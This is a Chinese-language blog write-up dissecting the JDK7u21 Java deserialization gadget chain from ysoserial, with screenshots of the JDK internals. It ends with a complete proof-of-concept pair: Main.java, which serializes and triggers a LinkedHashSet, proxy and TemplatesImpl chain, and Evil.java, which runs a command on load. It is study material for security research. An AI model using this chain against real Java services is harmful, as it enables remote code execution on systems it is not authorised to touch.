JDK7u21原生反序列化分析

某次漏洞利用的时候使用了7u21原生反序列化的链,为了更好的了解,对这条链进行分析记录

JDK版本: JDK7u21

分析代码:ysoserial

通过分析下面ysoserial构造payload过程,可以猜测,该反序列化由LinkedHashSet或其上级readobject为入口,通过AnnotationInvocationHandler代理类实现调用TemplatesImpl触发命令执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    Reflections.setFieldValue(templates, "_auxClasses", null);
    Reflections.setFieldValue(templates, "_class", null);

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

    Reflections.setFieldValue(tempHandler, "type", Templates.class);
    Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

    LinkedHashSet set = new LinkedHashSet(); // maintain order
    set.add(templates);
    set.add(proxy);

    map.put(zeroHashCodeStr, templates); // swap in real object


    return set;
}

对代码跟踪,发现对LinkedHashSet对象进行反序列化时,会调用父类HashSet的readObject方法

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050904-image-20230317172934-eqjkwxh.png

通过判断原数据类型对map进行初始化后,会对原LinkHashSet内存储的对象进行反序列化

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050905-image-20230317173242-tw2br9k.png

成员对象反序列化完成后会通过put方法加载进前面初始完成的map中。put实现方法如下

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050905-image-20230317173453-6gasr7c.png

若传入的key为代理对象,那么key.equals(k)会触发代理类的Invoke方法。但程序实现到这一步被三个因素影响:hash​ , i​ ,table​ ,且后两个因素被hash​这个因素影响,所以需要解决hash问题

最终生成的hash前,需要调用目标类hashCode方法获取的数据与其进行异或处理

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050905-image-20230317174451-6l4q1pc.png

分析AnnotationInvocationHandler#hashCodeImpl实现逻辑,最终返回的hash与代理类初始化时的memberValues(Map<String,Object>)的key和value有关,这也是为什么ysoserial在这条链处理代理类时要赋值一个看起来像随机字符一样的数据

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050905-image-20230317182133-zfqh75a.png

其实简单分析代理类生成Hash的代码,发现其实不用ysoserial那样子处理。当传入的key为空时,生成的stringhash固定为0,则前面的计算可以忽略,最后返回的只有目标类生成的Hash,且这个目标类即我们传入的TemplatesImpl,所以无论怎么变,hash都是在目标范围内的

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050905-image-20230317182904-z7zmtyi.png

解决完hash问题后,分析代理类如何通过invoke方法触发TemplatesImpl实现命令执行

匹配到equals特征后,会将TemplatesImpl作为参数执行equalsImpl方法(TemplatesImpl是payload中put进LinkHashSet的恶意对象)

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050905-image-20230317183958-axsgy40.png

下图的代码逻辑可以分析,在触发目标方法之前需要处理几个问题

  • this.type
  • this.getMemberMethods()

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050905-image-20230317184247-pqtpl4r.png

其中getMemberMethods通过this.type反射获取

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050905-image-20230317184807-t29f1nn.png

处理方法也很简单,ysoserial处理方法是通过反射修改了type

1
Reflections.setFieldValue(tempHandler, "type", Templates.class);

使用Templates的原因也很简单,获取到的method都可以作为命令触发的方法


https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050905-image-20230317185026-wo09v1u.png

后面就是通过反射执行目标方法实现命令执行了,分析链到此结束

Main.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Main {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, IOException {

        // 初始化恶意TemplatesImpl类
        JavaClass javaClass = Repository.lookupClass(Evil.class);

        TemplatesImpl templates = new TemplatesImpl();

        Field field = templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{javaClass.getBytes()});

        Field field1 = templates.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templates,"test");

        //初始化代理类
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);

        HashMap hashMap = new HashMap();
        hashMap.put("",templates);

        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,hashMap);

        Field field2 = invocationHandler.getClass().getDeclaredField("type");
        field2.setAccessible(true);
        field2.set(invocationHandler,Templates.class);


        final Class<?>[] allIfaces = {Templates.class};
        Templates templates_proxy = (Templates) Proxy.newProxyInstance(Main.class.getClassLoader(),allIfaces,invocationHandler);

        LinkedHashSet linkedHashSet = new LinkedHashSet();
        linkedHashSet.add(templates);
        linkedHashSet.add(templates_proxy);

      
        ByteOutputStream outputStream = new ByteOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
        objectOutputStream.writeObject(linkedHashSet);
        ByteArrayInputStream arrayInputStream = new ByteArrayInputStream(outputStream.getBytes());
        ObjectInputStream objectInputStream = new ObjectInputStream(arrayInputStream);
        objectInputStream.readObject();


    }

}

Evil.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

上面的代码只是用来更好的理解ysoserial中构造jdk7u21反序列化payload的过程,无法直接用于实战环境

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1679050905-image-20230317185859-mtyq6gf.png